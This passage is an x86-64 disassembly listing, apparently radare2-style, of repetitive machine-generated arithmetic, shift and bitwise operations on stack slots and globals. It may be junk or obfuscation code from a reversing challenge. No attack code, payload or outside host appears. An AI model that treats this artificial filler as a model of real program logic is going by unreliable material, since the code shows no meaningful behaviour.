mov qword [rsp + 0xaad8], rax
mov rax, qword [rsp + 0xa098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d84]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9818]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa358]
movzx ecx, word [rcx]
add eax, ecx
mov word [str.E_n0t], ax
lea rax, [rsp + 0x1180]
mov qword [rsp + 0xaae0], rax
mov rax, qword [rsp + 0xa960]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x88]
add eax, ecx
mov rcx, qword [rsp + 0x9df0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9fd0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x97]
sub eax, ecx
mov byte [rsp + 0x12b], al
lea rax, [rsp + 0x11b0]
mov qword [rsp + 0xaae8], rax
mov rax, qword [rsp + 0x9ff0]
mov rcx, qword [rsp + 0xa8b8]
mov qword [rsp + 0xaaf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaaf0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xa4f0], rax
lea rax, [rsp + 0x4ccc]
mov qword [rsp + 0xaaf8], rax
mov rax, qword [rsp + 0x8bc8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401e7028]
shl rax, cl
mov rcx, qword [rsp + 0x8c90]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa300]
mov ecx, dword [rsp + 0x50cc]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x50f0], eax
movsx eax, byte [rsp + 0xc2]
movsx ecx, byte [rsp + 0xb5]
or eax, ecx
mov rcx, qword [0x1401e8a50]
mov byte [rcx], al
lea rax, [rsp + 0xc1]
mov qword [rsp + 0xab00], rax
movzx eax, word [rsp + 0x1330]
mov rcx, qword [rsp + 0x9050]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9160]
mov word [rcx], ax
lea rax, [rsp + 0x1350]
mov qword [rsp + 0xab08], rax
movzx eax, byte [rsp + 0x11f]
mov rcx, qword [rsp + 0x9ce8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x83], al
mov rax, qword [rsp + 0x9ab0]
mov ecx, dword [rsp + 0x4db4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x92f0]
mov dword [rcx], eax
mov rax, qword [0x1401e7018]
mov qword [rsp + 0xab10], rax
mov rax, qword [rsp + 0x8bc8]
mov rcx, qword [rsp + 0x94a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xaab8], rax
lea rax, [rsp + 0x5134]
mov qword [rsp + 0xab18], rax
movzx eax, byte [rsp + 0x11d]
mov rcx, qword [rsp + 0x9ce8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x93b8]
mov byte [rcx], al
lea rax, [rsp + 0x1274]
mov qword [0x1401e8b88], rax
movzx eax, word [rsp + 0x132c]
mov word [rsp + 0x1364], ax
mov rax, qword [rsp + 0x97c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf3]
sub eax, ecx
mov rcx, qword [rsp + 0x9660]
mov byte [rcx], al
movsx eax, word [0x1401e70cc]
movsx ecx, word [rsp + 0x11a4]
add eax, ecx
mov rcx, qword [rsp + 0x9090]
mov word [rcx], ax
mov eax, dword [rsp + 0x4f30]
mov dword [rsp + 0x5150], eax
mov rax, qword [rsp + 0xa180]
mov rcx, qword [rsp + 0x97d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x50ac], eax
mov rax, qword [rsp + 0x8da0]
mov rax, qword [rax]
mov qword [rsp + 0xab20], rax
mov rax, qword [rsp + 0x9428]
mov rcx, qword [rsp + 0x9ef8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x99d0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1054]
mov rcx, qword [rsp + 0x96f8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x12f0], ax
lea rax, [rsp + 0xda]
mov qword [0x1401e8b90], rax
lea rax, [rsp + 0x1018]
mov qword [rsp + 0xab28], rax
movsx eax, byte [rsp + 0xb6]
movsx ecx, byte [rsp + 0x145]
sar eax, cl
mov rcx, qword [rsp + 0x9720]
mov byte [rcx], al
movzx eax, word [rsp + 0x12c0]
mov word [rsp + 0x1368], ax
mov rax, qword [rsp + 0xa198]
mov rcx, qword [rsp + 0x97c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x513c], eax
mov rax, qword [rsp + 0x9080]
mov rcx, qword [rsp + 0x9be0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xa048]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8cf8]
mov eax, dword [rax]
mov dword [rsp + 0x5154], eax
mov rax, qword [rsp + 0x9b10]
mov rcx, qword [rsp + 0xaac0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8fd8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1200]
mov word [rsp + 0x136c], ax
mov rax, qword [rsp + 0x99e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9b88]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e706a], al
movzx eax, word [rsp + 0x1018]
movzx ecx, word [rsp + 0x11f8]
sub eax, ecx
mov word [rsp + 0x1358], ax
lea rax, [rsp + 0xc5]
mov qword [rsp + 0xab30], rax
movzx eax, byte [0x1401e7063]
mov rcx, qword [rsp + 0x9ef0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc6], al
mov rax, qword [rsp + 0x9538]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5088]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9de8]
mov dword [rcx], eax
lea rax, [rsp + 0xa0a8]
mov qword [rsp + 0xab38], rax
mov rax, qword [rsp + 0x9ad8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x90d0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9880]
mov qword [rcx], rax
lea rax, [rsp + 0x4e30]
mov qword [rsp + 0xab40], rax
mov rax, qword [rsp + 0x9fc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfd]
add eax, ecx
mov rcx, qword [rsp + 0x8bf8]
mov byte [rcx], al
movsx eax, word [rsp + 0x10d0]
mov rcx, qword [rsp + 0x9a28]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e7070], ax
movzx eax, word [rsp + 0x11d8]
movzx ecx, word [rsp + 0x11b4]
add eax, ecx
mov rcx, qword [rsp + 0xa678]
mov word [rcx], ax
movzx eax, byte [rsp + 0xd9]
mov byte [rsp + 0x155], al
movzx eax, byte [rsp + 0x11b]
mov rcx, qword [rsp + 0x9ce8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x124], al
movzx eax, word [rsp + 0x11e4]
mov word [rsp + 0x1370], ax
mov rax, qword [rsp + 0x98f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c98]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa558]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4cbc]
movzx ecx, al
mov eax, dword [rsp + 0x4eb4]
shl eax, cl
mov dword [rsp + 0x4ff0], eax
mov rax, qword [rsp + 0x8d18]
mov rax, qword [rax]
mov qword [rsp + 0xab48], rax
mov eax, dword [rsp + 0x4f00]
mov ecx, dword [rsp + 0x4ffc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x50a4], eax
movzx eax, byte [rsp + 0x88]
movzx ecx, byte [rsp + 0xab]
sar eax, cl
mov byte [0x1401e7073], al
lea rax, [rsp + 0x150]
mov qword [rsp + 0xab50], rax
movsx eax, word [rsp + 0x10e8]
mov rcx, qword [rsp + 0x9cf8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1044], ax
movzx eax, word [rsp + 0x12e4]
mov rcx, qword [rsp + 0xa6a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x126c], ax
lea rax, [rsp + 0x115]
mov qword [rsp + 0xab58], rax
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov rcx, qword [0x1401e7018]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9db8], rax
lea rax, [rsp + 0x4fdc]
mov qword [rsp + 0xab60], rax
mov rax, qword [rsp + 0x93a8]
mov rcx, qword [rsp + 0x9000]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x505c], eax
mov rax, qword [rsp + 0xa468]
mov qword [rsp + 0xab68], rax
movzx eax, byte [rsp + 0x127]
mov byte [0x1401e87f7], al
movsx eax, word [rsp + 0x1230]
movsx ecx, word [rsp + 0x1078]
sub eax, ecx
mov rcx, qword [rsp + 0x99d8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xbf]
mov rcx, qword [0x1401e8ad0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb3], al
mov rax, qword [rsp + 0x9a98]
movzx eax, word [rax]
mov word [rsp + 0x1374], ax
movsx eax, byte [rsp + 0xb7]
movsx ecx, byte [rsp + 0x12f]
and eax, ecx
mov byte [rsp + 0x80], al
lea rax, [rsp + 0x50d8]
mov qword [rsp + 0xab70], rax
mov rax, qword [rsp + 0x95c0]
mov ecx, dword [rsp + 0x4e70]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e60], eax
mov rax, qword [rsp + 0x9200]
mov rcx, qword [rsp + 0x9a70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9798], rax
mov rax, qword [rsp + 0x8bb8]
mov qword [rsp + 0xab78], rax
movzx eax, word [rsp + 0x1018]
mov rcx, qword [rsp + 0xa1e0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e8828]
mov word [rcx], ax
mov rax, qword [rsp + 0x99f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11e]
shl eax, cl
mov byte [rsp + 0xa8], al
movzx eax, byte [rsp + 0x75]
mov byte [rsp + 0x156], al
movsx eax, word [rsp + 0x129c]
movsx ecx, word [rsp + 0x1240]
xor eax, ecx
mov word [rsp + 0x1080], ax
mov rax, qword [rsp + 0x9470]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9cf8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9d48]
mov word [rcx], ax
lea rax, [0x1401e7018]
mov qword [rsp + 0xab80], rax
mov rax, qword [rsp + 0x9ee0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9cd0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9880]
mov qword [rcx], rax
lea rax, [rsp + 0x5080]
mov qword [rsp + 0xab88], rax
mov rax, qword [rsp + 0x9620]
mov rcx, qword [rsp + 0x9f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xaad8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x128c]
movsx ecx, word [rsp + 0x1354]
sub eax, ecx
mov word [0x1401e70e4], ax
movzx eax, byte [rsp + 0x103]
mov byte [rsp + 0x157], al
mov rax, qword [rsp + 0x9f58]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e705b]
sub eax, ecx
mov byte [rsp + 0x97], al
movzx eax, word [rsp + 0x108c]
movzx ecx, word [rsp + 0x1298]
sub eax, ecx
mov word [rsp + 0x12b4], ax
movzx eax, byte [rsp + 0xc9]
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0x9268]
mov rcx, qword [rsp + 0xa730]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8bb8], rax
lea rax, [rsp + 0x4eb4]
mov qword [rsp + 0xab90], rax
mov rax, qword [rsp + 0xa448]
mov ecx, dword [rsp + 0x4f24]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9e30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x98f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9210]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x98b8], rax
movsx eax, byte [rsp + 0xcc]
movsx ecx, byte [rsp + 0xfc]
and eax, ecx
mov byte [0x1401e87f5], al
movzx eax, word [rsp + 0x1178]
mov word [rsp + 0x1378], ax
movzx eax, word [0x1401e70bc]
movzx ecx, word [rsp + 0x1300]
add eax, ecx
mov rcx, qword [rsp + 0xa818]
mov word [rcx], ax
movzx eax, byte [rsp + 0xd5]
mov byte [rsp + 0x159], al
mov rax, qword [rsp + 0x9870]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9a10]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1220], ax
mov rax, qword [rsp + 0x9960]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa020]
sar rax, cl
mov rcx, qword [rsp + 0xa800]
mov qword [rcx], rax
lea rax, [rsp + 0x4f94]
mov qword [rsp + 0xab98], rax
mov rax, qword [rsp + 0xa4e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5100]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5014], eax
lea rax, [rsp + 0x8b50]
mov qword [rsp + 0xaba0], rax
movzx eax, byte [rsp + 0xc6]
mov rcx, qword [rsp + 0x8f68]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x1401e87c0]
mov byte [rcx], al
movsx eax, word [rsp + 0xff0]
movsx ecx, word [rsp + 0x1328]
sub eax, ecx
mov rcx, qword [rsp + 0x9f68]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7d]
mov rcx, qword [rsp + 0x9070]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa438]
mov byte [rcx], al
mov rax, qword [rsp + 0x9938]
movzx eax, word [rax]
mov word [rsp + 0x137c], ax
mov rax, qword [rsp + 0x9d20]
movzx eax, word [rax]
movzx ecx, word [0x1401e89f8]
sub eax, ecx
mov word [rsp + 0x10a4], ax
lea rax, [rsp + 0x4e84]
mov qword [rsp + 0xaba8], rax
mov rax, qword [rsp + 0x9978]
mov rcx, qword [rsp + 0x9658]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9e78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov qword [rsp + 0xabb0], rax
mov rax, qword [rsp + 0x9f10]
mov rcx, qword [rsp + 0x9598]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5080], eax
lea rax, [rsp + 0xdd]
mov qword [0x1401e8b98], rax
mov rax, qword [rsp + 0xa218]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x70]
add eax, ecx
mov byte [rsp + 0x86], al
lea rax, [rsp + 0x1250]
mov qword [rsp + 0xabb8], rax
movzx eax, word [rsp + 0x1294]
mov rcx, qword [rsp + 0x95f0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa340]
mov word [rcx], ax
lea rax, [rsp + 0xdf]
mov qword [rsp + 0xabc0], rax
mov eax, dword [rsp + 0x5104]
mov ecx, dword [rsp + 0x4efc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa978]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9140]
mov rcx, qword [rsp + 0xa090]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4fb0], eax
mov rax, qword [rsp + 0xa900]
mov qword [rsp + 0xabc8], rax
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0xa2a0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa490], rax
mov rax, qword [rsp + 0x9460]
movzx eax, byte [rax]
mov byte [rsp + 0x15a], al
movzx eax, word [rsp + 0x1064]
movzx ecx, word [rsp + 0x102c]
sar eax, cl
mov rcx, qword [0x1401e8b00]
mov word [rcx], ax
movsx eax, word [rsp + 0x1378]
mov rcx, qword [rsp + 0x9470]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x110c], ax
mov rax, qword [rsp + 0x9500]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe4]
shl eax, cl
mov byte [rsp + 0xd5], al
movzx eax, word [rsp + 0xff8]
mov word [rsp + 0x1380], ax
mov rax, qword [rsp + 0x8bc8]
mov rcx, qword [rsp + 0xa5a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa468], rax
mov rax, qword [rsp + 0x9bc0]
mov eax, dword [rax]
mov dword [rsp + 0x5158], eax
mov rax, qword [rsp + 0x9120]
mov rcx, qword [rsp + 0x91a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9bd0], rax
mov rax, qword [rsp + 0x9d50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f78]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4eb8], eax
movzx eax, byte [rsp + 0x9f]
mov byte [rsp + 0x15b], al
movsx eax, word [rsp + 0x1140]
mov rcx, qword [0x1401e8ae0]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401e70e8], ax
movsx eax, byte [rsp + 0xa0]
movsx ecx, byte [rsp + 0x159]
add eax, ecx
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0x91c8]
movzx eax, byte [rax]
mov byte [rsp + 0x15c], al
movzx eax, word [rsp + 0x1048]
mov rcx, qword [rsp + 0x9a58]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10b4], ax
mov eax, dword [rsp + 0x4e9c]
mov dword [rsp + 0x515c], eax
mov rax, qword [rsp + 0x9d08]
mov rcx, qword [rsp + 0xaa70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8ed8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa378]
mov rcx, qword [rsp + 0x9d10]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9268]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa0e0]
mov qword [rsp + 0xabd0], rax
movzx eax, byte [rsp + 0x77]
movzx ecx, byte [rsp + 0xbb]
sub eax, ecx
mov byte [rsp + 0x95], al
mov rax, qword [0x1401e8ac8]
movzx eax, word [rax]
mov word [0x1401e8ba0], ax
mov rax, qword [rsp + 0x9388]
movzx eax, word [rax]
mov word [rsp + 0x1384], ax
mov rax, qword [rsp + 0x8d48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd6]
add eax, ecx
mov rcx, qword [rsp + 0x9fc0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa1f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa188]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x13b], al
mov rax, qword [rsp + 0x8d38]
mov eax, dword [rax]
mov dword [rsp + 0x5160], eax
mov rax, qword [rsp + 0xa198]
mov ecx, dword [rsp + 0x5150]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9fb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9078]
mov rax, qword [rax]
mov qword [rsp + 0xabd8], rax
mov rax, qword [rsp + 0xa6b8]
mov rax, qword [rax]
mov rcx, qword [0x1401e8798]
mov qword [rsp + 0xabe0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xabe0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xa950]
mov qword [rcx], rax
mov rax, qword [rsp + 0x95a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ee0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x12f4], ax
mov rax, qword [rsp + 0xa360]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd6]
or eax, ecx
mov byte [0x1401e7042], al
mov rax, qword [rsp + 0x8c60]
movzx eax, word [rax]
mov word [rsp + 0x1388], ax
mov rax, qword [rsp + 0x9480]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9d60]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xc1], al
lea rax, [0x1401e7060]
mov qword [rsp + 0xabe8], rax
mov rax, qword [rsp + 0x9b70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1338]
and eax, ecx
mov rcx, qword [rsp + 0xaad0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa498]
mov rax, qword [rax]
mov qword [rsp + 0xabf0], rax
mov rax, qword [rsp + 0x9620]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f54]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9498]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa4e8]
mov rcx, qword [rsp + 0x9fb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9cf0]
mov dword [rcx], eax
lea rax, [rsp + 0xa700]
mov qword [rsp + 0xabf8], rax
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e87e4]
and eax, ecx
mov byte [0x1401e8796], al
mov rax, qword [rsp + 0x9570]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10c0]
sub eax, ecx
mov rcx, qword [rsp + 0xa8a0]
mov word [rcx], ax
lea rax, [rsp + 0x93]
mov qword [rsp + 0xac00], rax
mov rax, qword [rsp + 0x91c8]
movzx eax, byte [rax]
mov rcx, qword [0x1401e8838]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa210]
mov byte [rcx], al
movsx eax, word [rsp + 0x10e8]
mov rcx, qword [rsp + 0x9750]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaae0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9418]
mov rax, qword [rax]
mov qword [rsp + 0xac08], rax
mov rax, qword [rsp + 0x9498]
mov ecx, dword [rsp + 0x5120]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f54], eax
lea rax, [rsp + 0xa9b8]
mov qword [rsp + 0xac10], rax
mov rax, qword [rsp + 0x9e50]
mov ecx, dword [rsp + 0x4f58]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5018], eax
lea rax, [rsp + 0x116c]
mov qword [0x1401e8ba8], rax
movsx eax, byte [rsp + 0x134]
movsx ecx, byte [rsp + 0xff]
sar eax, cl
mov byte [rsp + 0xcb], al
movzx eax, byte [rsp + 0x156]
mov byte [rsp + 0x15d], al
movsx eax, word [rsp + 0x10ec]
mov rcx, qword [0x1401e8aa0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8ec8]
mov word [rcx], ax
lea rax, [rsp + 0x1338]
mov qword [rsp + 0xac18], rax
mov rax, qword [rsp + 0xa590]
mov ecx, dword [rsp + 0x50e8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4f6c], eax
mov rax, qword [rsp + 0x9738]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4e48]
shl eax, cl
mov dword [rsp + 0x4f94], eax
mov rax, qword [rsp + 0x8e68]
mov rax, qword [rax]
mov qword [rsp + 0xac20], rax
mov rax, qword [rsp + 0x91c0]
mov rcx, qword [rsp + 0x95e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa6f0], rax
movsx eax, word [rsp + 0x1170]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e70e8], ax
lea rax, [rsp + 0xac]
mov qword [rsp + 0xac28], rax
mov rax, qword [rsp + 0xa1b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa4d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1324], ax
movzx eax, byte [0x1401e703a]
mov byte [rsp + 0x15e], al
mov rax, qword [rsp + 0x9830]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa938]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x104], al
mov rax, qword [rsp + 0x9488]
mov rcx, qword [rsp + 0x8bb8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x90d0], rax
lea rax, [rsp + 0x4fec]
mov qword [rsp + 0xac30], rax
mov rax, qword [rsp + 0x9588]
mov rcx, qword [rsp + 0x9e48]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x515c], eax
mov rax, qword [rsp + 0xa288]
mov rax, qword [rax]
mov qword [rsp + 0xac38], rax
movsx eax, word [rsp + 0x12a4]
movsx ecx, word [rsp + 0x1070]
sub eax, ecx
mov word [0x1401e70ec], ax
movzx eax, word [rsp + 0x1274]
movzx ecx, word [rsp + 0x135c]
add eax, ecx
mov word [rsp + 0x1060], ax
mov rax, qword [rsp + 0x9548]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa938]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x135], al
lea rax, [rsp + 0x147]
mov qword [rsp + 0xac40], rax
mov rax, qword [rsp + 0x8dd8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12a4]
add eax, ecx
mov word [rsp + 0x12c4], ax
lea rax, [rsp + 0x515c]
mov qword [rsp + 0xac48], rax
mov eax, dword [rsp + 0x4cbc]
movzx ecx, al
mov eax, dword [0x1401e7008]
shl eax, cl
mov rcx, qword [rsp + 0xa8d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaba0]
mov rcx, qword [rsp + 0x9198]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x8f30]
mov qword [rcx], rax
lea rax, [rsp + 0xa450]
mov qword [rsp + 0xac50], rax
movsx eax, byte [rsp + 0xa7]
movsx ecx, byte [rsp + 0x96]
xor eax, ecx
mov byte [0x1401e7066], al
movzx eax, word [rsp + 0x1054]
mov rcx, qword [rsp + 0x9208]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa658]
mov word [rcx], ax
lea rax, [rsp + 0x81]
mov qword [rsp + 0xac58], rax
mov rax, qword [0x1401e87f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9a58]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x11f0], ax
mov rax, qword [rsp + 0x8f48]
movzx eax, byte [rax]
mov byte [rsp + 0x15f], al
mov rax, qword [rsp + 0x9f50]
mov rcx, qword [rsp + 0xa478]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xab68], rax
mov rax, qword [rsp + 0xaad8]
mov ecx, dword [rsp + 0x5020]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x97a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4ea0]
mov dword [rsp + 0x5164], eax
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [0x1401e8798]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8fc0], rax
lea rax, [rsp + 0x11a8]
mov qword [0x1401e8bb0], rax
lea rax, [rsp + 0x1098]
mov qword [rsp + 0xac60], rax
mov rax, qword [rsp + 0xa568]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9918]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa688]
mov byte [rcx], al
movzx eax, byte [0x1401e8795]
mov rcx, qword [rsp + 0x95c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa4], al
movzx eax, word [rsp + 0x1108]
mov word [rsp + 0x138c], ax
mov rax, qword [rsp + 0x8ed8]
mov ecx, dword [rsp + 0x4ed4]
imul ecx, dword [rax]
mov eax, ecx
mov rcx, qword [rsp + 0xab70]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4db4]
mov dword [rsp + 0x5168], eax
mov rax, qword [rsp + 0x8f88]
mov rcx, qword [rsp + 0xa700]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a60], rax
mov rax, qword [rsp + 0xac10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9468]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9150]
mov qword [rcx], rax
mov rax, qword [0x1401e8870]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x107c]
add eax, ecx
mov word [0x1401e87e0], ax
movzx eax, byte [rsp + 0x15a]
mov byte [rsp + 0x160], al
mov rax, qword [rsp + 0x9d48]
movsx eax, word [rax]
mov rcx, qword [0x1401e8a00]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1068], ax
lea rax, [rsp + 0x9a]
mov qword [rsp + 0xac68], rax
mov rax, qword [rsp + 0x9568]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x9d]
or eax, ecx
mov byte [rsp + 0xd4], al
mov rax, qword [rsp + 0xa088]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xab90]
mov qword [rsp + 0xac70], rcx
movzx ecx, al
mov rax, qword [rsp + 0xac70]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4ff4], eax
mov rax, qword [rsp + 0x9e38]
mov rax, qword [rax]
mov qword [rsp + 0xac78], rax
mov rax, qword [rsp + 0xa090]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4f3c]
shr eax, cl
mov dword [rsp + 0x5010], eax
mov rax, qword [rsp + 0xa3e0]
mov rax, qword [rax]
